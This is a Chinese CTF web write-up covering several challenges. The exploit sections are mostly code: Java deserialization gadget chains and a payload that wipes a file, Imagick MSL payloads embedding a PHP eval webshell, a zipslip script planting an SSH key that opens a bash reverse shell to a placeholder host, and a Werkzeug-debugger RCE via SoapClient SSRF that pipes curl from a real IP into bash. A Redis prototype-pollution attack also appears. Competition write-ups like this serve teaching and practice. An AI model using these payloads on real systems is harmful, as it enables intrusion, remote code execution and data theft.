和师傅们组了队一起去玩,真爽
WEB 解题就是 5/6,还是太菜
CTF 真好玩,交 flag 的时候可激动了,爷们要战斗!
ezcheck1n 二血.jpg
https://github.com/dhmosfunk/CVE-2023-25690-POC
如果访问 http://115.239.215.75:8082/2023/
则返回的数据头中存在 Server: Apache/2.4.54 (Debian) 如果访问 http://115.239.215.75:8082/
那么返回的数据头是 Apache/2.4.55 (Unix)
这就是题目描述里面提到的两个容器
猜测应该是 flag 在 Debian 这里面,查看 /2023/
的时候看到这一段代码
1 2 3 4 5 6 7 8 9 10 11 12 <?php $FLAG = "flag{fake_flag}" ;@file_get_contents ("http://" .$_GET ['url' ].$FLAG ); show_source ('./2023.php' );$a = file_get_contents ('./post.jpeg' );echo '<img src="data:image/jpeg;base64,' . base64_encode ($a ) . '">' ;?>
首先,$FLAG
是一个假的 flag,即 show_source('./2023.php');
(而不是 show_source(__FILE__);
)给我们看的 2023.php
里面不存在真 flag 那么根据他给我们的那一张图片,flag 应该是在 2022.php
里面,给我们解析的文件应该也就是 2022.php
,但是不给我们看这个 php 里面的 flag
然后,我们看到的 @file_get_contents("http://".$_GET['url'].$FLAG);
如果直接 http://115.239.215.75:8082/2023?url=vps:port/
,vps 是收不到一点请求的 可能 Apache 做转发的时候不会带上 url 参数
总结就是:http 走私,让它带上 url 参数到后端容器里去
hellojava 还能二血.jpg
传入 {"Base64Code":"AAAA","":true}
可以绕过
MyBean user = (MyBean)mapper.readValue(Base64.
decode
(BaseJson), MyBean.class);
https://github.com/yarocher/lazylist-cve-poc.git
版本对得上,应该就是这一个了mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="./security/blacklist.txt false"
生成 Base64 payload
本地反序列化这一段,会把 security/blacklist.txt
清空
1 rO0ABXNyADZzY2FsYS5jb2xsZWN0aW9uLmltbXV0YWJsZS5MYXp5TGlzdCRTZXJpYWxpemF0aW9uUHJveHkAAAAAAAAAAwMAAHhwc3IAJnNjYWxhLnJ1bnRpbWUuTW9kdWxlU2VyaWFsaXphdGlvblByb3h5AAAAAAAAAAECAAFMAAttb2R1bGVDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7eHB2cgAmc2NhbGEuY29sbGVjdGlvbi5nZW5lcmljLlNlcmlhbGl6ZUVuZCQAAAAAAAAAAwIAAHhwc3IAI3NjYWxhLmNvbGxlY3Rpb24uaW1tdXRhYmxlLkxhenlMaXN0AAAAAAAAAAMDAAVaAAhiaXRtYXAkMFoADW1pZEV2YWx1YXRpb25aADNzY2FsYSRjb2xsZWN0aW9uJGltbXV0YWJsZSRMYXp5TGlzdCQkc3RhdGVFdmFsdWF0ZWRMAAlsYXp5U3RhdGV0ABFMc2NhbGEvRnVuY3Rpb24wO0wAKnNjYWxhJGNvbGxlY3Rpb24kaW1tdXRhYmxlJExhenlMaXN0JCRzdGF0ZXQAK0xzY2FsYS9jb2xsZWN0aW9uL2ltbXV0YWJsZS9MYXp5TGlzdCRTdGF0ZTt4cAAAAXNyAExzY2FsYS5zeXMucHJvY2Vzcy5Qcm9jZXNzQnVpbGRlckltcGwkRmlsZU91dHB1dCQkYW5vbmZ1biQkbGVzc2luaXQkZ3JlYXRlciQzAAAAAAAAAAACAAJaAAhhcHBlbmQkMUwABmZpbGUkMnQADkxqYXZhL2lvL0ZpbGU7eHAAc3IADGphdmEuaW8uRmlsZQQtpEUODeT/AwABTAAEcGF0aHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAWc2VjdXJpdHlcYmxhY2tsaXN0LnR4dHcCAFx4c3EAfgACdnIAMHNjYWxhLmNvbGxlY3Rpb24uaW1tdXRhYmxlLkxhenlMaXN0JFN0YXRlJEVtcHR5JAAAAAAAAAADAgAAeHB4eA==
再使用 jackson 利用链,可以裸反序列化 RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Templates templates = new TemplatesImpl ();Class c = templates.getClass();Field nameField = c.getDeclaredField("_name" );nameField.setAccessible(true ); nameField.set(templates,"aaa" ); Field bytecodeField = c.getDeclaredField("_bytecodes" ); bytecodeField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("target\\test-classes\\evil.class" ));byte [][] codes = { code };bytecodeField.set(templates,codes); Field tfactoryField = c.getDeclaredField("_tfactory" );tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl ()); POJONode pojoNode = new POJONode (templates);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (11 );setFiledValue(badAttributeValueExpException,"val" ,pojoNode); serialize(badAttributeValueExpException);
fumo_backdoor 一半原题(原头原脑原肚皮.jpg
Imagick new $class($argv);
写入文件 /tmp/sess_tel
调用 call_user_func("session_start");
触发 session 序列化,调用 __sleep
https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
readfile
不能出现 f l a g 这四个字符
去翻 imagick 的文件格式,找到个格式符合的,把 flag 读到 /tmp
下,绕过 open basedir
到官网找一下所有的 format https://imagemagick.org/script/formats.php
保存好 html,写一个 parse 把所有的 formats 取出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from bs4 import BeautifulSouphtml = open ("format.html" ,"r" ).read() soup = BeautifulSoup(html, 'html.parser' ) tr_tags = soup.find_all('tr' ) print (len (tr_tags))for tr_tag in tr_tags: th_tag = tr_tag.find('th' ) if th_tag: content = th_tag.text print (str (content).lower()) td_tag = tr_tag.find('td' ) if td_tag: content = td_tag.text print (str (content).lower())
本地搭建环境,看看到底是那些 format 可以用来读取 /flag
1 2 3 4 5 6 7 8 9 10 <?php ini_set ('open_basedir' , __DIR__ .":/tmp" );$protocol = $_GET ['p' ];$data = '<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="' .$protocol .':/flag" /> <write filename="/tmp/FLAG' .$protocol .'" /> </image>' ;file_put_contents ("/tmp/1.xml" ,$data );new Imagick ("vid:msl:/tmp/1.xml" );
脚本遍历
1 2 3 4 5 6 7 8 9 10 11 import requestsimport timeurl = "http://127.0.0.1:18080/test.php?p=" formats = open ("format.txt" ,"r" ).read().split() for format in formats: print (f"format: {format } " ) r = requests.get(url+format ) print (r.text) time.sleep(1 )
进容器查看对应的 format
app1
格式
最后的 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import sysimport requestsimport timeurl = "http://47.99.77.113:18080/?cmd=unserialze" def sleep (): time.sleep(1 ) if (sys.argv[1 ] == "1" ): r = requests.get("http://47.99.77.113:18080/?cmd=rm" ) print (r.text) sleep() r = requests.post(url, data={"data" :'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}' }, files={"file1" :open ("lfi.xml" ).read()},headers={"Cookie" :"PHPSESSID=tel" }) sleep() r = requests.post(url, data={"data" :'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}' }, files={"file1" :open ("lfi.xml" ).read()},headers={"Cookie" :"PHPSESSID=tel" }) sleep() r = requests.post(url, data={"data" :'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}' }, files={"file1" :open ("hack.xml" ).read()},headers={"Cookie" :"PHPSESSID=tel" }) sleep() r = requests.post(url, data={"data" :'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:13:"session_start";s:5:"class";N;}' }, headers={"Cookie" :"PHPSESSID=tel" }) print (r.text)
hack.xml
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" ?> <image > <read filename ="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjEzOiJmdW1vX2JhY2tkb29yIjozOntzOjQ6InBhdGgiO3M6OToiL3RtcC9GTEFHIjtzOjQ6ImFyZ3YiO047czoxOiJjIjtOO30=" /> <write filename ="/tmp/sess_tel" /> </image >
lfi.xml
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" ?> <image > <read filename ="app1:/flag" /> <write filename ="/tmp/FLAG" /> </image >
SycServer readfile
路由反编译也没看懂,盲猜了个 file
参数
file=/start.sh
这个文件可以读到,算是一个很关键的提示
zipslip 可以修改掉 /home/vanzy/.ssh/authorized_keys
反编译看 main 二进制,路由 admin
这里有 /home/vanzy/.ssh/id_rsa ssh localhost:2221
这些关键字符串,像是自己连自己的 ssh
本地搭建环境,可以看到确实如此(我甚至在自己的服务器上创建了 vanzy 账户,赛后就给你删了.jpg
之后就是上 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport osurl = "http://159.138.131.31:8888/" with open ("keys" ,"w" ) as f: f.write('command="bash -c \'bash -i >& /dev/tcp/vps/port 0>&1\'" ' ) r = requests.get(url + "readfile?file=/home/vanzy/.ssh/authorized_keys" ) f.write(r.text) f.close() os.system("python3 zip.py" ) r = requests.post(url+"file-unarchiver" , files={"file" : ("key.zip" , open ("key.zip" ,"rb" ).read())}) print (r.text)r = requests.get(url + "readfile?file=/home/vanzy/.ssh/authorized_keys" ) print (r.text)r = requests.get(url + "admin" ) print (r.text)
pypyp?
给 start session
1 curl http://115.239.215.75:8081/ -H "Cookie: PHPSESSID=tel" -F 'PHP_SESSION_UPLOAD_PROGRESS=111'
然后能看到高亮的源码
变量覆盖之后可以
SSRF SoapClient
读文件 https://www.extrader.top/posts/35c0085d/#SimpleXMLElement SimpleXMLElement
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 ); if (!isset ($_SESSION )){ die ('Session not started' ); } highlight_file (__FILE__ ); $type = $_SESSION ['type' ]; $properties = $_SESSION ['properties' ]; echo urlencode ($_POST ['data' ]); extract (unserialize ($_POST ['data' ])); if (is_string ($properties )&&unserialize (urldecode ($properties ))){ $object = unserialize (urldecode ($properties )); $object -> sctf (); exit (); } else if (is_array ($properties )){ $object = new $type ($properties [0 ],$properties [1 ]); } else { $object = file_get_contents ('http://127.0.0.1:5000/' .$properties ); } echo "this is the object: $object <br>" ; ?>
xxe 读到 /app/app.py
1 2 3 4 5 6 7 8 9 10 from flask import Flaskapp = Flask(__name__) @app.route('/' ) def index (): return 'Hello World!' if __name__ == '__main__' : app.run(host="0.0.0.0" ,debug=True )
算 pin 码
/etc/passwd
/usr/lib/python3.8/site-packages/flask/app.py
glob 匹配一下
02:42:ac:13:00:02
/sys/class/net/eth0/address
349b3354-f67f-4438-b395-4fbc01171fdd
/proc/sys/kernel/random/boot_id
/proc/self/cgroup
text 1 2 3 4 5 6 7 8 9 10 11 12 13 12:devices:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687 11:net_cls,net_prio:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687 10:rdma:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687 9:memory:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687 8:freezer:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687 7:cpu,cpuacct:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687 6:hugetlb:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687 5:perf_event:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687 4:blkio:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687 3:cpuset:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687 2:pids:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687 1:name=systemd:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687 0::/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
开算 121-260-582
要计算 Cookie:
Cookie name 就是这个
Cookie_value 看这里
https://github.com/pallets/werkzeug/blob/82b5ac433c54b8d03cb0de9fdc16a4c58b935860/src/werkzeug/debug/init .py#LL480C27-L480C27
做到这里的时候已经晚上十一点多,想要造 SoapClient 发了几次没成功,拿了个麦麦回宿舍,队友把后半段补上,在凌晨一点半左右解出来(真肝啊
1 2 3 4 5 <?php $exp1 = new SoapClient (null ,array ('user_agent' =>"test\r\nCookie: __wzdb2a60e2b19822632a67c=1687101288|11b8517fb9fb" ,'location' =>'http://127.0.0.1:5000/console?__debugger__=yes&cmd=__import__("os").popen("curl%20http://vps:port/1.txt|bash")&frm=0&s=DhOJxtvMXCtezvKtqaK9' ,'uri' =>'test' ));$arr3 = array ("properties" =>urlencode (serialize ($exp1 )));$b = serialize ($arr3 );echo $b ;
1 2 3 4 5 import requestsurl = 'http://115.239.215.75:8081/' data={'data' :'a:1:{s:10:"properties";s:528:"O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22location%22%3Bs%3A149%3A%22http%3A%2F%2F127.0.0.1%3A5000%2Fconsole%3F__debugger__%3Dyes%26cmd%3D__import__%28%22os%22%29.popen%28%22curl%2520http%3A%2F%2F121.5.238.52%3A30660%2F1.txt%7Cbash%22%29%26frm%3D0%26s%3DDhOJxtvMXCtezvKtqaK9%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A63%3A%22test%0D%0ACookie%3A+__wzdb2a60e2b19822632a67c%3D1687101288%7C11b8517fb9fb%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D";}' ,'PHP_SESSION_UPLOAD_PROGRESS' :'abu' } r = requests.post(url,data=data,headers={'Cookie' :'PHPSESSID=abu' },files={'file' :'sss' }) print (r.text)
suid 提权
赛后复现 an4er_monitor 原型链污染,可以自定义 http.get
中部分 options
socketPath
设置成 redis.conf 之中的 /run/redis/redis.sock
当 http.get
向外发送请求的时候,会先经过 redis sock
反正 redis 也没有密码,对着这个 sock
发送 SET IsAdminSession HTTP/1.1
1 2 3 4 5 6 7 8 9 import requestsurl = "http://127.0.0.1:3000/api/server/" requests.get(url + "import?urls.__proto__.method=SET" ) requests.get(url + "import?urls.urrll=0.0.0.0" ) requests.get(url + "import?urls.__proto__.socketPath=/run/redis/redis.sock" ) requests.get(url + "check?hostname=0.0.0.0&path=IsAdminSession" ) r = requests.get(url + "getflag" ) print (r.text)